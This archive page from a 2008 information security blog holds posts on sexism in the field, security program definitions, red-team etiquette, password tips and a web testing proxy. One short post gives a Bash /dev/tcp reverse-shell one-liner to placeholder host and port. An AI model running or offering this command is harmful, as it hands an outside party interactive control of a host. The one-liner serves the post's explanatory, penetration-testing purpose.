April 2008

Men in Information Security…don’t be an a**

by kriggins on April 18, 2008

in General

DonkeyStacy Thayer posted this on her blog about an experience she had at RSA. A short summary is someone was questioning the existence of competent women in information security. Stacy was called over by Jack Daniel to refute this particular "gentlemen's" point of view. She was treated poorly and kudos to Jack for attempting to change a misconception.

I am not writing this to talk about all the great women who are involved in Information Security. There are plenty. I am writing this because I am really annoyed by the behavior of the individual who made the observation and then, as Stacy says "your first move is to objectify them."

Gentlemen, don't be an a**. It isn't hard. Just treat women with the same respect and consideration as you would a man in a similar position. Notice I said the same respect and consideration you would show a man. Not more and not because she is a women.

Now I personally believe women should be treated with even more respect and consideration than a man. Heck, they have to put up with us.

Anyway, I'll hop off my soap box now.

Kevin

{ 0 comments }

Bash based reverse shell wickedness

by kriggins on April 17, 2008

in Security testing, Tips, Tools

ShellNeohapsis just created a lot of pain for those who are trying to stop folks who able to execute arbitrary code on a host, but unable to get a reverse shell.  Used to be you could remove netcat, wget, ftp, etc... and make it much more difficult for a reverse shell to be started.  Enter the ever friendly and helpful Bash shell.

All you need is:

$ exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

and tadaa, reverse shell.

Go check it out - http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/

Kevin Riggins

{ 1 comment }

Information Security Program…..huh…what?

by kriggins on April 17, 2008

in General

Program

The CEO walks into your office/cube/dark cave. He has one of those looks on his face that does not bode well for you. He pauses, takes a breath, looks you straight in the eye and says, "We need an Information Security Program."

You reply, "An Information Security Pro....what?"

He says again, "We need an Information Security Program thingy. All my CEO buddies have one. We need one. Figure it out. Get on it!" and leaves. No explanation of what this thing called an Information Security Program is and no guidance as to what he expects from you.

After fighting off those panicky feelings that threaten to cause you to run about and scream and shout. You fire up your friend Google and get to work trying to figure out what an Information Security Program is.

One good thing

This scenario may seem quite far fetched to you. Unfortunately, it probably isn't. On the good side, the CEO wants it, or at least thinks he does. On the bad side, he doesn't appear to have any idea what he is asking for and frankly neither do you.

What is an Information Security Program?

So you start searching away and come up with things like the NIST Information Security Handbook: A Guide for Managers and this paper by Bruce C. Gabrielson, PHD Information Security Program Development, both of which are great resources.  However, as I was looking about, I came across the Univerisity of Iowa's page that describes their Information Security plan.  I really like what they call the Objective as a good general definition:

This program is a collection of policy statements, an architecture model, and a description of the approach taken at the University of Iowa for information security. Together, they describe administrative, operational, and technical security safeguards that must be implemented for systems that create, maintain, house, or otherwise use confidential or sensitive information.

The objective is to provide Business Value:

  • Applications delivered to more individuals, more timely, with better/definitive data
  • Broader deployment of services and data increases both the value and the risk
  • Information security is crucial to this environment
  • There are many layers of security involved, each managed in concert with the rest to provide “Defense in Depth”:
    1. Physical access to systems
    2. Server or host controls
    3. Client or workstation controls
    4. Data access controls (confidentiality)
    5. Policy & Procedures
    6. Network controls
    7. Employee practices

Management is responsible for taking the necessary steps to identify internal and external threats that could result in unauthorized disclosure, misuse, alteration, or destruction of institutional data.  Risks may include, but are not limited to:

  • Unauthorized access to confidential information
  • Compromised system security as a result of access by an intruder
  • Interception of data on the network
  • Physical loss of data center or computer equipment
  • Errors or corruption introduced into systems
  • Inadequate system administration practices

Responsibility for managing the Enterprise Information Security Program is described in Roles and Responsibilities for Information Security. This document will be reviewed and updated on an annual basis by the IT Security Officer.  Documentation supporting compliance with regulatory controls, (e.g., memoranda received from service providers attesting to their security safeguards), will be maintained by the IT Security Office.

Great. Now what?

Okay. So you are saying to yourself, "That looks hard."  It is hard, but also necessary.  We will be looking at some of the challenges in the future and some ways that we can overcome them.

Your thoughts

I am really interested in your thoughts on this definition.  Please leave them in the comments.

Kevin Riggins

{ 0 comments }

Interesting Links – 04/17/2008

by kriggins on April 17, 2008

in Interesting Bits

The Evolving Information Security Landscape | BlogInfoSec.com - An interesting read. I particularly like the career path part.

The Four Horsemen Of the Virtualization Security Apocalypse - A great article about security challenges with virtualization. Read it more than once.

My Interview With Richard Stallman by 0x000000 - Great read.

{ 0 comments }

Course on malicious code and how to detect and analyze it.

by kriggins on April 16, 2008

in Educational

F-Secure has been involved in a course being offered by The Telecommunications Software and Multimedia Laboratory.

While that is interesting in itself, the cool part is that all of the coursework, slides and homework have been put on-line for free.

Don't be discouraged if you go to the labs main site and don't speak or read Finnish. Just click on the on-line link above. The course material appears to be in English with the exception of the WebTopi stuff. I haven't gotten far enough in to see if the hand-on stuff a) works or b) is in English.

I also have only done a cursory peak a couple slide decks.

Kevin

{ 0 comments }

Malware Threat Center – Great Source

by kriggins on April 15, 2008

in General, Tips

Pubal posted a note on Twitter this morning pointing to the Malware Threat Center.  The site has some great information that can be used to help protect your networks from known sources of malware.

Kevin Riggins

{ 0 comments }

Look Ma…I’m on the Red Team

by kriggins on April 13, 2008

in Security testing

Imagine

You're sitting in a dark room, the only light is that coming off your computer screen. You have found a tasty looking website that you are pretty sure has some significant vulnerabilities that you can exploit. You carefully probe the system and yes, the application has a vulnerability that hasn't been patched. You fire off an exploit and all of a sudden you have a remote shell on their system. But wait, it's an account with limited permissions. Darn! Okay, how about local privilege escalation. Sure enough, the kernel is not up to date. Another exploit is fired off and BOOM you have root. You have successfully p0wned the system. Now it's time to figure out how to make some money with the what you have, right? WRONG!!!!!

Cyber Defense Competitionhttp://www.flickr.com/photos/mdpettitt/1059997337

You have just achieved what you believe to be your goal as a member of the Red Team during a Cyber Defense Competition.

A Cyber Defense Competition is a competition where teams compete to see who can best fight off a bunch of hackers and maintain service availability in the process. Actually, not really hackers. The "hackers" are experienced, and sometimes not so experienced, volunteers who play the part of hackers. This is the Red Team. These competitions can go from intra-organization events all the way up to national competitions. This is the website for the National Collegiate Cyber Defense Competition. I could go into a lot more detail about what a CDC is and how they are setup, but that is not really why I am writing today.

Why are you participating on the Red Team?

This weekend I had an enjoyable Twitter conversation with @leighhollowell and @AJolly about CDCs. During the course of that conversation I was struck by several comments that gave me the impression that the team participants often come away from a competition without useful feedback from some of the teams, particularly the Red Team. That's why you are reading this note if you have made it this far :)

The first time I had the opportunity to be on a Red Team, I thought "Cool, I get to be a hacker and can't get in trouble for it. All I have to do is show up and hack away." And that is what I did. Bad me and bad you if that is why you decide to be on a Red Team.

The purpose of the Red Team is not to give the members an opportunity to get their jollies by beating up on the teams. Yes, that is your role for the competition, but that should not be your purpose for being there.

Why should you be participating on the Red Team?

I feel a CDC should be a learning experience for the folks who participate on the teams. As such, it behooves you as a member of the Re d Team to help educate the participants.

I can hear your thoughts now, "How can I do that? I'm not a teacher." Actually, you are and it it isn't even hard. You can help educate by showing the thought processes you used to gain control of the systems you attack, by showing how they could have implemented controls that would have better protected the systems, and by trying to give them some insight into how the "hacker" mind thinks. These types of things are helpful and believe it or not educational to the folks you are working against in the competition.

Just knowing that x service got hacked doesn't help them learn, knowing how and why and what they can do in the future to stop it getting hacked does.

Okay, maybe I can be a teacher. What are some ways to do that?

We've, or at least I've, established what the Red Team's real purpose is. Not to hack, but to educate. So how do we do that. Here are a few things that can provide that extra bit to the teams:

  1. Keep good notes - It's real easy to get caught up in the moment and justTeacher start banging away. Try to resist doing so. Stop and write things down. Yes, it isn't sexy, but it sure is helpful. Also, provide those notes to the teams. They are a great way to show what your thought processes were when you were attacking their systems.
  2. Write down remedies - When you are successful at exploiting a system, write down how the team could have protected themselves. Again, it is very helpful for the team members to know how they could have protected themselves. If there was no way for them to have avoided getting hacked, i.e. 0-day, that is also helpful for them to know.
  3. Attend the debrief - Don't just go for the fun part. Stay and talk to the teams. If there isn't a formal debrief, try to take few minutes to talk to the teams. Tell them what they did right and show them what they could have been done better.

Doing these three things will turn being on the Red Team into a great opportunity to educate a group of people who may be the folks protecting your retirement accounts some day :)

Thanks for staying with me this long. I am really interested in your experiences as CDC participants, both as defenders or attackers. Feel free to leave a note in the comments or email me at kriggins _at_ infosecramblings.com.

Kevin Riggins

{ 1 comment }

Must read for easy secure password generation by srcasm

by kriggins on April 10, 2008

in Tips

srcasm posted a great method for generating and remembering unique secure passwords here - How to keep your password hidden in plain sight… | Srcasm

You really need to go read it. It is one of easiest methods I have seen.

{ 0 comments }

ProxyStrike – Background SQL Injection and XSS analysis

by kriggins on April 8, 2008

in Security testing, Tools

The folks over at Darknet do a great job of pointing out interesting tools for use in penetration testing and web app security testing among other things. I won't be duplicating their feed here, but when I see something that I want to test for myself, I will be posting about it.

One such tool that I have been playing with a little over the couple of days is Edge-Security - ProxyStrike v1.0. from their site:

The process is very simple, ProxyStrike runs like a passive proxy listening in port 8008 by default, so you have to browse the desired web site setting your browser to use ProxyStrike as a proxy, and ProxyStrike will analyze all the paremeters in background mode. For the user is a passive proxy because you won't see any different in the behaviour of the application, but in the background is very active. :)

Nifty, I don't have to do anything, but browse about and rack up the vulnerability counts :) Well, it is not quite that easy, but works quite well in the limited testing I have done using DVL.  I will be playing with it more and will report back what I find.

{ 0 comments }

Are you an Information Security Evangelist?

by kriggins on April 4, 2008

in Career

EvangelistMirriam-Webster defines Evangelist as follows:

1: often capitalized : a writer of any of the four Gospels
2: a person who evangelizes; specifically : a Protestant minister or layman who preaches at special services
3: an enthusiastic advocate <an evangelist for physical fitness>

I'm pretty sure you are not one of the writers of any of the four Gospels. While you may be a minister or lay speaker on religious topics, that isn't really what I am talking about either.

So that leaves the third definition to look at; an enthusiastic advocate. There is something that anybody can do. So let's restate the questions: Are you an enthusiastic Information Security advocate?

Not my job

Now I am sure at least one of the three of you who are reading this is muttering, "Not me, I'm not in the Information Security department. Its not my job." Don't hang up yet. I'm talking to you too :)

Of course we want the Information Security personnel in our organization to be enthusiastic advocates. We rely on them to protect our information assets. But they can't do it by themselves. They need the help of those around them. The job is just too big and too far reaching for one small band of people to tackle.

I'm not Enthusiastic about much of anything.

Okay, maybe enthusiastic isn't the right word. How about just plain advocate. Someone who believes in something and is willing to promote it.

So how do I do that?

Since we are not talking about preaching to the masses and enthusiasm may be a stretch for some. How about quietly influencing those around you by your actions. You know the cliche: "Actions speak louder than words". If we are educated and aware, a whole other topic we will be exploring, and conduct ourselves in a manner that displays said education and awareness, we are likely to have a greater impact on our surroundings than any amount of emails or announcements or posters or threats from above.

How do I become educated and aware?

It's your turn Information Security folks. We need to make sure that we are providing many opportunities for those who rely on us to obtain the education and awareness training that will help them help us. Our E&A programs are as important as, maybe even more important than, our firewalls, IDSes and other technical controls.

I will end this by asking the questions again: Are you an Information Security evangelist? If not, why?

Kevin

{ 3 comments }

Next Entries →